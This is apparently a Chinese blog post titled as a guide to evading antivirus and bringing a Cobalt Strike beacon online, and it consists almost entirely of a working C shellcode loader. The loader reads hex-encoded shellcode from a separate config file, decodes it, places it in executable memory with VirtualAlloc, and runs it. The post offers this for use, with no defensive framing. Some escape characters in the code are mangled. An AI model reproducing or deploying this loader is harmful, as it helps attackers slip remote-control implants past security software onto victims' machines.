如何免杀上线CS | shellcode

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <windows.h>
typedef void(*Shellcode)();
int main() {  FILE* file = fopen("config.txt", "r");  if (file == NULL) {    printf("无法打开配置文件。n");    return 1;  }
  // 读取Shellcode内容  char shellcode[4096] = { 0 };  if (fgets(shellcode, sizeof(shellcode), file) == NULL) {    printf("读取Shellcode失败。n");    fclose(file);    return 1;  }
  // 关闭文件  fclose(file);
  // 去除换行符  size_t shellcodeLen = strlen(shellcode);  if (shellcode[shellcodeLen - 1] == 'n') {    shellcode[shellcodeLen - 1] = '�';  }
  // 将Shellcode转换为二进制形式  size_t shellcodeSize = shellcodeLen / 4;  unsigned char* shellcodeBytes = (unsigned char*)malloc(shellcodeSize);  if (shellcodeBytes == NULL) {    printf("内存分配失败。n");    return 1;  }
  for (size_t i = 0; i < shellcodeSize; i++) {    sscanf(shellcode + (i * 4), "\x%2hhx", &shellcodeBytes[i]);  }
  // 分配内存来存储Shellcode  LPVOID shellcodeMem = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  if (shellcodeMem == NULL) {    printf("无法为Shellcode分配内存。n");    free(shellcodeBytes);    return 1;  }
  // 将Shellcode复制到分配的内存中  memcpy(shellcodeMem, shellcodeBytes, shellcodeSize);
  // 执行Shellcode  Shellcode shellcodeFunc = (Shellcode)shellcodeMem;  shellcodeFunc();
  // 释放内存  VirtualFree(shellcodeMem, 0, MEM_RELEASE);  free(shellcodeBytes);
  return 0;}